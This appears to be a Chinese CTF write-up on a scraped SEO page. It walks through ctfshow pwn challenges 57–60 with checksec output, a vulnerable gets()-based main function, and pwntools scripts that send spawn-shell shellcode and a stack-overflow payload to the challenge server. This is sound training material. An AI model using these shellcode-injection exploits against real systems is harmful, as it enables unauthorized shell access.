当前位置: 首页 > wzjs >正文

内部网站 建设目标深圳网络公司推广公司

内部网站 建设目标,深圳网络公司推广公司,辽宁专业模板网站建设公司,沈阳建站模板展示目录 前言 一、pwn57(先了解一下简单的64位shellcode吧) 二、pwn58 三、pwn59(64位 无限制) 四、pwn60(入门难度shellcode) 前言 往前写了几道题,与shellcode有关,关于shellc…

目录

前言

一、pwn57(先了解一下简单的64位shellcode吧)

二、pwn58

三、pwn59(64位 无限制)

四、pwn60(入门难度shellcode)

前言

往前写了几道题,与shellcode有关,关于shellcode还不是太懂。


一、pwn57(先了解一下简单的64位shellcode吧

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn57
[*] '/home/kali/桌面/ctfshoww/pwn57'Arch:       amd64-64-littleRELRO:      No RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableStripped:   No

没啥。

应该也是直接执行:

from pwn import *
p=remote("pwn.challenge.ctf.show",28235)
p.interactive()


二、pwn58

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn58
[*] '/home/kali/桌面/ctfshoww/pwn58'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   No

也没有开啥保护。

logo明显提示用shellcode,所以我们需要发送sellcode。

Exp:

from pwn import *
e=ELF("./pwn58")
p=remote("pwn.challenge.ctf.show",28178)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


三、pwn59(64位 无限制

Checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn59
[*] '/home/kali/桌面/ctfshoww/pwn59'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x400000)Stack:      ExecutableRWX:        Has RWX segments
Stripped:   No

是64位的64位 无限制

也是写入shellcode。

看一下ROP:

ROPgadget --binary ./pwn50 --only "pop rbx|ret"

Gadgets information
============================================================
0x00000000004004fe : ret
0x0000000000400d74 : ret 0xfff9
0x0000000000400642 : ret 1Unique gadgets found: 3

ret=0x4004fe

一开始我是这样写的;

from pwn import *
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()

但是打不通,问了问人机,加了一个架构,就能打通了:

from pwn import *
context.arch='amd64'
p = remote('pwn.challenge.ctf.show',28256)
shellcode = asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()


四、pwn60入门难度shellcode

查看一下程序:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn60
[*] '/home/kali/桌面/ctfshoww/pwn60'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        No PIE (0x8048000)Stack:      ExecutableRWX:        Has RWX segmentsStripped:   NoDebuginfo:  Yes

没开什么保护。

主要是这个函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("CTFshow-pwn can u pwn me here!!");gets((char *)&v4);strncpy(buf2, (const char *)&v4, 0x64u);printf("See you ~");return 0;
}

我们需要利用buf2,在其后面接shellcode

buf2_ar=0x804A080

我们需要用pwndbg确定一下:

确定偏移是112

Exp:

from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show",28264)
e=ELF("./pwn60")
buf2_ar=e.sym['buf2']
offset=112
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(offset,b'a')+p32(buf2_ar)
p.recvuntil("CTFshow-pwn can u pwn me here!!")
p.sendline(payload)
p.interactive()


继续学习中......

http://www.dtcms.com/wzjs/109344.html

相关文章:

  • dz地方门户网站制作网络营销团队
  • 怎么做网站步骤免费的深圳关键词优化软件
  • 广州移动 网站建设福州seo网站排名
  • 大庆做网站最厉害的人竞价推广sem
  • 网站建设包含域名百度手机助手下载安卓版
  • 可视化网站制作软件share群组链接分享
  • 宿迁集团网站建设网购网站十大排名
  • 网站建设 合肥网站搜索排名优化软件
  • 南京一站式工程装饰装修网站网络营销客服主要做什么
  • 做阿里巴巴小企业网站如何写市场调研报告
  • 易销云建站公司seo发帖软件
  • 衡水建设局网站口碑营销的经典案例
  • 企业做淘宝客网站推广策划
  • 羊肉口报关做网站百度热门关键词排名
  • 做淘宝主页网站广州seo公司如何
  • 安装了lnmp怎么做网站百度网盘下载app
  • 四川微信网站建设seo优化中商品权重主要由什么决定
  • 建站技巧网红推广
  • 关于二手书的网站开发ppt点点站长工具
  • 肃宁做网站seo诊断工具有哪些
  • 没有做网站地图影响大吗吗seo排名点击
  • 网站建设专属名词最新国际足球世界排名
  • 茶网站建设宗旨国内真正的免费建站
  • 真人做爰片免费观看网站seo客服
  • 手机产品网站建设seo搜索引擎优化包邮
  • css布局网站关键词的作用
  • 手机端的网站怎么做今日新闻头条大事
  • 黄骅港务集团有限公司官网网站seo检测
  • wordpress错误页南宁百度推广seo
  • 做电工的有接单的网站吗深圳搜索引擎优化seo